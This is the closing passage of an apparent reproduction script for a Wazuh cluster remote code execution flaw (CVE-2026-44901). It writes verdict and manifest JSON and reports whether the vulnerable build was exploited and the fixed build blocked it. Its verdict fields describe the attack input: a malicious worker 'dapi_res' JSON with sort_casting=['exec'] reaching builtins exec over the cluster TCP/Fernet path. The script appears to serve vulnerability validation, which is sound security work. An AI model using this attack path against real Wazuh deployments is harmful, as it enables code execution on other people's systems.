        "trigger_path": "TCP worker peer -> MasterHandler.execute(dapi_fwd) -> dapi.py json.loads(object_hook=as_wazuh_object) -> reduce(or_) -> results.py merge/getattr(builtins,'exec')",
        "end_to_end_target_reached": True,
        "sanitizer_used": False,
        "crash_observed": False,
        "read_write_primitive_observed": False,
        "exploit_chain_demonstrated": True,
        "blocking_mitigation": None,
        "inferred": False
    }
else:
    verdict = {
        "claim_outcome": "unknown",
        "claim_block_reason": "unknown",
        "repro_result": "not_confirmed",
        "validated_surface": "network_protocol",
        "evidence_scope": "production_path",
        "claimed_impact_class": "code_execution",
        "observed_impact_class": "none",
        "exploitability_confidence": "unknown",
        "attacker_controlled_input": "Fernet-framed malicious Wazuh worker dapi_res JSON with sort_casting=[\"exec\"]",
        "trigger_path": "TCP worker peer -> MasterHandler/DistributedAPI.forward_request",
        "end_to_end_target_reached": bool(vuln_ok or fixed_ok),
        "sanitizer_used": False,
        "crash_observed": False,
        "read_write_primitive_observed": False,
        "exploit_chain_demonstrated": False,
        "blocking_mitigation": None,
        "inferred": False
    }
with open(verdict_path, "w", encoding="utf-8") as f:
    json.dump(verdict, f, indent=2)
PY
MANIFEST_WRITTEN=1
jq . "$REPRO_DIR/runtime_manifest.json" >/dev/null
jq . "$REPRO_DIR/validation_verdict.json" >/dev/null
echo "[+] runtime_manifest.json and validation_verdict.json written"

# Keep the prepared cache manifest valid for future runs.  Only reusable repo
# state is classified; proof artifacts remain in bundle/repro and bundle/logs.
if [ -n "$CACHE_MANIFEST" ] && [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
    mkdir -p "$(dirname "$CACHE_MANIFEST")"
    "$PY" - "$CACHE_MANIFEST" "$CACHE_MANIFEST_SCHEMA" <<'PY'
import json, sys
path, schema = sys.argv[1], int(sys.argv[2])
with open(path, "w", encoding="utf-8") as f:
    json.dump({"schema_version": schema, "entries": [
        {"path": "repo-mirrors", "reuse_class": "repo"},
        {"path": "repo", "reuse_class": "repo"}
    ]}, f, indent=2)
PY
    echo "[*] Updated cache manifest $CACHE_MANIFEST"
fi

if $VULN_CONFIRMED && $FIXED_BLOCKED; then
    echo "[+] CVE-2026-44901 CONFIRMED through original Wazuh cluster TCP/Fernet DAPI product path"
    exit 0
fi

echo "[-] Reproduction did not satisfy confirmation gates: vuln_ok=$VULN_OK fixed_ok=$FIXED_OK"
exit 1